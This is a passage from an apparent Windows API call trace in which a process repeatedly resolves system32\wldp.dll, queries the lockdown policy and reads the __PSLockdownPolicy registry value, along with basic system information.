lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.748] WldpGetLockdownPolicy () returned 0x0 [0092.748] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.748] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.748] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.748] RegCloseKey (hKey=0x528) returned 0x0 [0092.748] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.748] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.748] CoTaskMemFree (pv=0x42c9ac0) [0092.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.748] WldpGetLockdownPolicy () returned 0x0 [0092.748] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.749] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.749] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.749] RegCloseKey (hKey=0x528) returned 0x0 [0092.749] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.749] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.749] CoTaskMemFree (pv=0x42c9ac0) [0092.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.749] WldpGetLockdownPolicy () returned 0x0 [0092.749] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.749] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.749] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.749] RegCloseKey (hKey=0x528) returned 0x0 [0093.177] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.177] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.177] CoTaskMemFree (pv=0x42c9ac0) [0093.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.177] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.177] WldpGetLockdownPolicy () returned 0x0 [0093.177] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.178] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.178] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.178] RegCloseKey (hKey=0x528) returned 0x0 [0093.179] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.179] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.179] CoTaskMemFree (pv=0x42c9ac0) [0093.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.180] WldpGetLockdownPolicy () returned 0x0 [0093.180] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.180] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.180] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.180] RegCloseKey (hKey=0x528) returned 0x0 [0093.180] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.180] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.180] CoTaskMemFree (pv=0x42c9ac0) [0093.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.181] WldpGetLockdownPolicy () returned 0x0 [0093.181] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.181] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.181] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.181] RegCloseKey (hKey=0x528) returned 0x0 [0093.181] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.181] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.181] CoTaskMemFree (pv=0x42c9ac0) [0093.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.181] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.181] WldpGetLockdownPolicy () returned 0x0 [0093.181] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.181] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.182] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.182] RegCloseKey (hKey=0x528) returned 0x0 [0093.182] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.182] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.182] CoTaskMemFree (pv=0x42c9ac0) [0093.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.182] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.182] WldpGetLockdownPolicy () returned 0x0 [0093.182] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.182] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.183] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.183] RegCloseKey (hKey=0x528) returned 0x0 [0093.183] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.183] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.183] CoTaskMemFree (pv=0x42c9ac0) [0093.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.183] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.183] WldpGetLockdownPolicy () returned 0x0 [0093.183] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.183] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.183] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.183] RegCloseKey (hKey=0x528) returned 0x0 [0093.183] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.183] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.183] CoTaskMemFree (pv=0x42c9ac0) [0093.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.183] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.183] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.184] WldpGetLockdownPolicy () returned 0x0 [0093.184] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.184] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.184] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.184] RegCloseKey (hKey=0x528) returned 0x0 [0093.184] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.184] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.184] CoTaskMemFree (pv=0x42c9ac0) [0093.184] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.184] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0093.184] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0093.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0093.184] WldpGetLockdownPolicy () returned 0x0 [0093.184] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0093.184] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0093.184] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0093.185] RegCloseKey (hKey=0x528) returned 0x0 [0093.185] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0093.185] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0093.185] CoTaskMemFree (pv=0x42c9ac0) [0093.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0093.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0093.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 